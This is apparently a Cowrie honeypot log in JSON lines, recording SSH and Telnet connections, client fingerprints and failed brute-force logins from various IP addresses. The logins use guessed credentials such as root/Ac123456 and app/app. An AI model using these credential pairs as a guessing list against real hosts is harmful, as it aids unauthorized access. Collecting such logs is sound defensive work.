{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:05.055223Z","src_ip":"43.156.97.164","session":"20e53620a39c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"$BLANKPASS","message":"login attempt [root/$BLANKPASS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:06.068806Z","src_ip":"43.156.97.164","session":"20e53620a39c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:07.330072Z","src_ip":"43.156.97.164","session":"20e53620a39c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58464,"dst_ip":"10.17.0.5","dst_port":23,"session":"35c18019708f","protocol":"telnet","message":"New connection: 192.119.13.58:58464 (10.17.0.5:23) [session: 35c18019708f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:10.586942Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":33424,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8c790b8caea","protocol":"ssh","message":"New connection: 41.242.115.83:33424 (159.203.135.109:22) [session: a8c790b8caea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:17.563863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:17.578697Z","src_ip":"41.242.115.83","session":"a8c790b8caea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:17.781189Z","src_ip":"41.242.115.83","session":"a8c790b8caea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32938,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8cfa4af18a8","protocol":"telnet","message":"New connection: 192.119.13.58:32938 (10.17.0.5:23) [session: c8cfa4af18a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:18.355752Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"$BLANKPASS","message":"login attempt [root/$BLANKPASS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:18.625931Z","src_ip":"41.242.115.83","session":"a8c790b8caea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.46172308921814,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:19.566922Z","src_ip":"192.119.13.58","session":"5d5f6792b48d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:19.830319Z","src_ip":"41.242.115.83","session":"a8c790b8caea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45770,"dst_ip":"10.17.0.5","dst_port":23,"session":"d11eb4661c68","protocol":"telnet","message":"New connection: 192.119.13.58:45770 (10.17.0.5:23) [session: d11eb4661c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:20.386175Z"}
{"eventid":"cowrie.session.closed","duration":43.22408890724182,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:20.663306Z","src_ip":"192.119.13.58","session":"267bc8df9208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43282,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dec73a1a11d","protocol":"telnet","message":"New connection: 192.119.13.58:43282 (10.17.0.5:23) [session: 3dec73a1a11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:25.768432Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46598,"dst_ip":"10.17.0.5","dst_port":23,"session":"d062aac802b7","protocol":"telnet","message":"New connection: 192.119.13.58:46598 (10.17.0.5:23) [session: d062aac802b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:26.144921Z"}
{"eventid":"cowrie.session.closed","duration":42.72573208808899,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:26.517426Z","src_ip":"192.119.13.58","session":"7b58715c6242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":15074,"dst_ip":"159.203.135.109","dst_port":22,"session":"81838068f991","protocol":"ssh","message":"New connection: 103.24.63.85:15074 (159.203.135.109:22) [session: 81838068f991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:27.029001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:27.038549Z","src_ip":"103.24.63.85","session":"81838068f991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:27.245103Z","src_ip":"103.24.63.85","session":"81838068f991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":36744,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eb44f665005","protocol":"ssh","message":"New connection: 193.37.70.224:36744 (10.17.0.5:22) [session: 9eb44f665005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:27.995061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:28.001603Z","src_ip":"193.37.70.224","session":"9eb44f665005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:28.090645Z","src_ip":"103.24.63.85","session":"81838068f991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:28.101767Z","src_ip":"193.37.70.224","session":"9eb44f665005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:28.516053Z","src_ip":"193.37.70.224","session":"9eb44f665005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:29.304108Z","src_ip":"103.24.63.85","session":"81838068f991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:29.608627Z","src_ip":"193.37.70.224","session":"9eb44f665005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.506946563720703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:29.778498Z","src_ip":"192.119.13.58","session":"ccb1da8f452b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38076,"dst_ip":"10.17.0.5","dst_port":23,"session":"902fc1a09718","protocol":"telnet","message":"New connection: 192.119.13.58:38076 (10.17.0.5:23) [session: 902fc1a09718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:30.417811Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":48732,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f7ebbae68fa","protocol":"ssh","message":"New connection: 62.133.63.178:48732 (159.203.135.109:22) [session: 8f7ebbae68fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:38.314473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:38.319047Z","src_ip":"62.133.63.178","session":"8f7ebbae68fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:38.445805Z","src_ip":"62.133.63.178","session":"8f7ebbae68fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456852","message":"login attempt [root/456852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:38.925520Z","src_ip":"62.133.63.178","session":"8f7ebbae68fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:40.054890Z","src_ip":"62.133.63.178","session":"8f7ebbae68fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":39986,"dst_ip":"159.203.135.109","dst_port":22,"session":"be76f96022d0","protocol":"ssh","message":"New connection: 103.172.78.219:39986 (159.203.135.109:22) [session: be76f96022d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:40.509165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:40.514211Z","src_ip":"103.172.78.219","session":"be76f96022d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:40.770092Z","src_ip":"103.172.78.219","session":"be76f96022d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yuliya","message":"login attempt [root/yuliya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:41.536562Z","src_ip":"103.172.78.219","session":"be76f96022d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:42.794768Z","src_ip":"103.172.78.219","session":"be76f96022d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.780739307403564,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:54.136367Z","src_ip":"192.119.13.58","session":"c8cfa4af18a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51148,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc50e653f210","protocol":"telnet","message":"New connection: 192.119.13.58:51148 (10.17.0.5:23) [session: fc50e653f210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:57.104433Z"}
{"eventid":"cowrie.session.closed","duration":32.76285767555237,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:58.907627Z","src_ip":"192.119.13.58","session":"d062aac802b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.745903968811035,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:59.332708Z","src_ip":"192.119.13.58","session":"35c18019708f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":25327,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e15dae2885b","protocol":"ssh","message":"New connection: 103.24.63.85:25327 (159.203.135.109:22) [session: 6e15dae2885b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:00.493487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:00.778625Z","src_ip":"103.24.63.85","session":"6e15dae2885b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:00.782842Z","src_ip":"103.24.63.85","session":"6e15dae2885b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:02.200619Z","src_ip":"103.24.63.85","session":"6e15dae2885b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.95875692367554,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:02.726862Z","src_ip":"192.119.13.58","session":"3dec73a1a11d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:03.428246Z","src_ip":"103.24.63.85","session":"6e15dae2885b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.026538610458374,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:04.412568Z","src_ip":"192.119.13.58","session":"d11eb4661c68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":60600,"dst_ip":"159.203.135.109","dst_port":22,"session":"310b793b660a","protocol":"ssh","message":"New connection: 176.65.148.108:60600 (159.203.135.109:22) [session: 310b793b660a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:01:08.895183Z"}
